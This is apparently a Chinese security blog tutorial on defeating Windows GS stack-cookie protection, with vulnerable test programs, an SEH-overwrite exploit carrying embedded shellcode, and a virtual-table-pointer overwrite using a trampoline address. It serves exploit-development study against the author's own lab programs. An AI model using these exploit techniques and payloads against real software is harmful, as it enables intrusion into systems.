<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    EXP編寫學習之繞過GS

    VSole2023-02-20 09:58:16

    棧中的守護天使 :GS

    GS原理

    向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。

    Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。

    棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。

    函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。

    Security Check過程中,比較棧中的Security Cookie與data節中的副本,如果不吻合,則棧中發生了溢出。

    檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。

    在VS2005以后的版本,添加了變量重排技術,把緩沖區放到最下面,防止溢出到變量中,同時還把指針參數和字符串參數復制到棧頂,防止函數參數被破壞。

    Security Cookie的生成

    系統以data節的第一個 DWORD值作為Cookie種子,或稱為原始Cookie(所有函數的Cookie都用它生成)。

    程序每次運行,種子都不同,具有很強的隨機性。

    在棧幀初始化以后,用ebp xor 種子 ,作為當前函數的Cookie,以此作為不同函數的區別,并增加隨機性。

    函數返回前,用ebp 還原出 Cookie 種子 ,進行比較。

    GS不會被應用的情況

    函數不包含緩沖區。

    函數被定義為具有變量參數列表。

    函數使用無保護的關鍵字標記。

    函數在第一個語句中內聯匯編代碼。

    緩沖區不是8字節類型 且 大小不大于4個字節。

    編譯指令 #pragma strict_gs_check(on) 可以為函數強制啟用GS。

    逆向分析GS

    1.用C語言寫一個簡單的程序,開啟GS編譯選項,Release編譯,觀察一下匯編代碼(沒有GS的匯編代碼相信讀者已經在之前的章節中看過了)。


    #include #include  int main(int arc, char** argv){    char szBuff[100] = { 0 };    strcpy(szBuff, argv[1]);    printf("%s", szBuff);     return 0;}
    

    2.生成exe后,ida打開

    可以看到,把安全cookie給eax, 與 ebp異或后, 放入棧中ebp-4的位置 ,然后再去函數末尾看一下。

    可以看到,在printf調用后, 把棧中的 cookie拿出來給ecx , ecx與ebp異或后, 調用了一個函數。

    這個函數就是檢查cookie的函數Security Check , 先把結果與.data節中的原始 cookie進行比較 , 如果相同則正常返回, 如果不同則跳轉。

    然后繼續跟著跳轉往下看,可以看到最后調用了這個函數:

    這里的ExceptionInfo是異常處理需要的結構體,可以在前面看到被賦值,看一下最后的函數調用。

    最后這個函數設置了一個空的異常處理函數,之后調用系統自己的異常處理函數,并傳入之前的ExceptionInfo,之后獲取當前進程后強制結束。

    看一下cookie,確實在.data節中, 并且是一個隨機值(讀者可以調試打開查看,IDA是靜態分析工具,cookie會在進入主函數前初始化)。

    3.也就是說,如果cookie被覆蓋,則不會按照原來流程返回到被覆蓋的 retaddr ,驗證了前面的原理部分。

    4.變量重排比較好理解,因為一般棧空間是按照你的變量順序來的,重排后,把緩沖區放到距離cookie最近的地方,防止溢出到關鍵變量,但是沒有溢出到cookie的情況。

    5.根據以上總結與分析,硬剛GS還是比較困難的,所以我們不得不研究繞過GS的辦法。

    繞過GS的方式

    這里提出四點,我們實踐兩點,2與3 , 1與4是理論上可行的,但是實際環境幾乎不可能。

    • 利用未被保護的內存突破GS
    • 覆蓋虛函數突破GS
    • 攻擊SEH突破GS
    • 同時替換棧中和.data中的Cookie突破GS(硬剛覆蓋返回地址)

    攻擊SEH突破GS

    1.使用C語言寫一個測試程序。

    #include #include  void __stdcall test(char* str, char* out){    char buf[200] = { 0 };     __try    {        strcpy(buf, str);        strcpy(out, buf);    }    __except (1)    {        printf("Error OverFlow");    }}  int main(int arc, char** argv){    char buf1[500];    memset(buf1, 0x90, 1000);     char buf2[100] = { 0 };    test(buf1, buf2);     return 0;}
    

    代碼簡要解釋 :test是一個溢出函數 且 注冊了SEH , 把buf1 的 500字節的數據 放入 test函數中的200字節大小的緩沖區中, 此時會造成溢出,溢出后會覆蓋到 out 的地址(參數地址 ebp + n),然后再次拷貝buf到out 的過程中 , 會觸發非法訪問,轉入異常處理流程,但是此時函數并沒有執行到返回,也就是沒有執行到 check cookie函數, 所以可以覆蓋SEH來實現繞過 GS。

    2.開啟GS選項,關閉SafeSEH DEP ASLR選項與優化,生成exe,調試器打開查看, 查看后發現,SEH被編譯器擴展(不展開分析)。

    好的好的,調試器定位一下test函數,在經過第一次strcpy后,查看SEH鏈 ,之后繼續運行, 訪問90909090產生異常。

    這個可以證明,攻擊SEH是可行的,但是如果你想攻擊這個程序,你還得考慮繞過SafeSEH(主模塊的地址包含00,無法利用)。

    3.修改一下測試代碼 ,加入shellcode ,用來展示利用過程,溢出到系統的異常處理, 可以使用 msfvenom生成(參考上篇)。

    #include #include  unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08"; void  __stdcall test(char* input){    char buf[200];    strcpy(buf, input);    strcat(buf, input);}  int main(int arc, char** argv){    memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));     test(shellcode);} //代碼的簡單解釋//還是之前的原理,溢出到參數列表,造成strcat訪問異常,導致程序進入異常處理//但是我們沒有自己生成SEH,而是溢出到系統的SEH結構,這樣可以避免我們在這個知識點中關心SafeSEH的繞過
    

    4.在shellcode中,確定偏移后,覆蓋系統的Handler即可。

    #include #include  unsigned char shellcode[500] ="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67""\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3""\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20""\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24""\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff""\x55\x08\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; void  __stdcall test(char* input){    char buf[200];    strcpy(buf, input);    strcat(buf, input);}  int main(int arc, char** argv){    int len = strlen(shellcode);    memset(shellcode + strlen(shellcode), 0x90, sizeof(shellcode) - strlen(shellcode));    int* ptr = &shellcode[len];    *ptr = &shellcode;     test(shellcode);}
    

    運行進行測試,可以看到拷貝后,剛好覆蓋到handler。

    不用調試器直接打開此程序 , 可以看到,成功執行shellcode。

    攻擊虛函數繞過GS

    ’1.使用C++編寫一個漏洞程序 , 為了避免操作復雜化, 我們直接在程序中定義shellcode,來進行演示。

    #include #include   class Foo{public:    void Overflow(char* src){        char buf[8] = { 0 };        strcpy(buf, src);        bar();    }     virtual void bar(){     } }; char shellcode[] ="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";  int main(int arc, char** argv){    Foo test;    test.Overflow(shellcode);    return 0;}
    

    2.對代碼的介紹:Foo中的成員函數 Overflow存在溢出,且它調用了虛函數 bar , 如果我們能通過溢出,覆蓋到虛表指針,則可以實現漏洞利用

    3.現在需要搞清楚,虛表的位置 , 調試器打開看一下。

    可以看到,在調用成員函數的時候的兩個參數,這個對象只有4字節的大小,也就是只有一個虛表,跟進查看。

    這里可以看到,目的地址為19FF0C , 對應的棧位置為8個0的數據, 對應buf大小。

    19FF0C 到 虛表的偏移為 28 ,好的, 現在我們面臨一個 call eax的操作, 也就是調用虛函數。

    那么覆蓋成什么數據才可以讓程序流程轉到我們的shellcode?

    看一下匯編代碼, ebp-10 的位置為 19FF24 , 也就是對象的首地址 , 然后從19FF24中取出數據 給 eax。

    eax = 19FF24 ,然后從eax中取出數據給 edx , edx = 40210C ,也就是edx是虛表。

    然后從 edx中取出4字節數據, 給eax , eax = vftable[0] , 也就是第一個虛函數。

    好的,思考一下,我們看到棧中的情況, shellcode的地址在 403018 , 那么我們是不是可以覆蓋虛表指針為403018 (沒有ASLR)然后程序會取shellcode的前4字節,作為虛函數執行。

    shellcode前4字節設置為跳板地址。

    4.現在準備call eax , 可以看到eax已經被覆蓋為 shellcode前4字節 90909090。

    觀察寄存器可以發現, ecx edx ebp都可以利用, 例如 跳板地址的指令為 call ebp 或者 jmp ebp (選ebp還有個好處,可以跳過前4字節的垃圾指令)。

    通過搜索跳板指令, 找到這個地址 0x77528A50(call ebp), 所以最后的利用方式是這樣的:

    //0x77528A50char shellcode[] ="\x50\x8A\x52\x77\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x18\x30\x40";
    

    重新編譯,運行,調試,跟蹤, 程序來到了nop區執行 ,代表著成功利用

    charchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    無意中看到ch1ng師傅的文章覺得很有趣,不得不感嘆師傅太厲害了,但我一看那長篇的函數總覺得會有更騷的東西,所幸還真的有,借此機會就發出來一探究竟,同時也不得不感慨下RFC文檔的妙處,當然本文針對的技術也僅僅只是在流量層面上waf的繞過。Pre很神奇對吧,當然這不是終點,接下來我們就來一探究竟。前置這里簡單說一下師傅的思路部署與處理上傳war的servlet是?
    記一次網站滲透過程
    2022-09-13 08:37:27
    前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
    一、序言 記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。 二、滲透過程 1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞,這里貼一個鏈接:Beecms 通用漏洞(https://lin
    釣魚小技巧-XLM
    2022-01-21 21:30:11
    隨后保存為啟用宏的文檔。而在實戰環境中,我們更關注的是能否執行我們的shellcode。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类